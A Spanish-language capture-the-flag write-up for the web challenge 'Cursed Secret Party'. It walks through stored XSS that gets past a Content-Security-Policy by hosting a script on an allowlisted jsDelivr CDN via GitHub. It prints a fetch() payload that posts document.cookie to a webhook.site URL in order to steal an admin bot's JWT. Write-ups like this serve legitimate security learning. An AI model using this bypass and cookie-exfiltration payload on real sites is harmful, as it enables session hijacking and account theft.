Cursed Secret Party

Challenge Description

You’ve just received an invitation to a party. Authorities have reported that the party is cursed, and the guests are trapped in a never-ending unsolvable murder mystery party. Can you investigate further and try to save everyone?

Categoria: Web
Dificultad: Muy Fácil

Solution

Analizamos el codigo e identificamos que hay un bot que contiene la flag en la cookie.

challenge/bot.js
const visit = async () => {
    try {
		const browser = await puppeteer.launch(browser_options);
		let context = await browser.createIncognitoBrowserContext();
		let page = await context.newPage();

		let token = await JWTHelper.sign({ username: 'admin', user_role: 'admin', flag: flag });
		await page.setCookie({
			name: 'session',
			value: token,
			domain: '127.0.0.1:1337'
		});

Esto quiere decir que el reto seguramente tenga que ver con XSS sin embargo no sera tan sencillo ya que estable el header CSP.

challenge/index.js
app.use(function (req, res, next) {
    res.setHeader(
        "Content-Security-Policy",
        "script-src 'self' https://cdn.jsdelivr.net ; style-src 'self' https://fonts.googleapis.com; img-src 'self'; font-src 'self' https://fonts.gstatic.com; child-src 'self'; frame-src 'self'; worker-src 'self'; frame-ancestors 'self'; form-action 'self'; base-uri 'self'; manifest-src 'self'"
    );
    next();
});

La informacion que le enviamos en el formulario la almacena directamente en la base de datos sin ningun tipo de sanitizacion.

challenge/database.js
	async party_request_add(halloween_name, email, costume_type, trick_or_treat) {
		return new Promise(async (resolve, reject) => {
			try {
				let stmt = await this.db.prepare('INSERT INTO party_requests (halloween_name, email, costume_type, trick_or_treat) VALUES (?, ?, ?, ?)');
				resolve((await stmt.run(halloween_name, email, costume_type, trick_or_treat)));
			} catch(e) {
				reject(e);
			}
		});
	}

Una vez que enviemos informacion la funcion del bot ejecutara lo que se almacene.

challenge/routes/index.js
router.post('/api/submit', (req, res) => {
    const { halloween_name, email, costume_type, trick_or_treat } = req.body;

    if (halloween_name && email && costume_type && trick_or_treat) {

        return db.party_request_add(halloween_name, email, costume_type, trick_or_treat)
            .then(() => {
                res.send(response('Your request will be reviewed by our team!'));

                bot.visit();
            })
            .catch(() => res.send(response('Something Went Wrong!')));
    }

    return res.status(401).send(response('Please fill out all the required fields!'));
});

XSS CSP Bypass

Entonces primero tenemos que analizar el CSP que estable la aplicacion con CSP Evaluator. Vemos que el dominio https://cdn.jsdelivr.net esta marcado en whitelist.

Vemos que podemos hacer uso del CDN a traves de GitHub.

Para hacer uso de ese dominio tenemos que crearnos un repositorio en GitHub.

Una vez que tenemos el repositorio publico creamos un archivo con nuestro payload.

fetch('https://webhook.site/3f8048b0-a93c-44f1-b0ab-114cc5d2cf50', {method: 'POST', mode: 'no-cors', body: document.cookie});

Para acceder a nuestro payload es necesario usar el siguiente formato como lo menciona la pagina del CDN.

https://cdn.jsdelivr.net/gh/th3d00msl4y3r/xss/cook.js

Ahora enviamos nuestro payload a traves del parametro halloween_name.

Esperamos un momento y nos regresara la cookie en nuestro webhook.

Utilizamos jwt.io para decodear el valor y obtener la flag.

References

https://www.jsdelivr.com/?docs=gh
https://webhook.site/
https://jwt.io/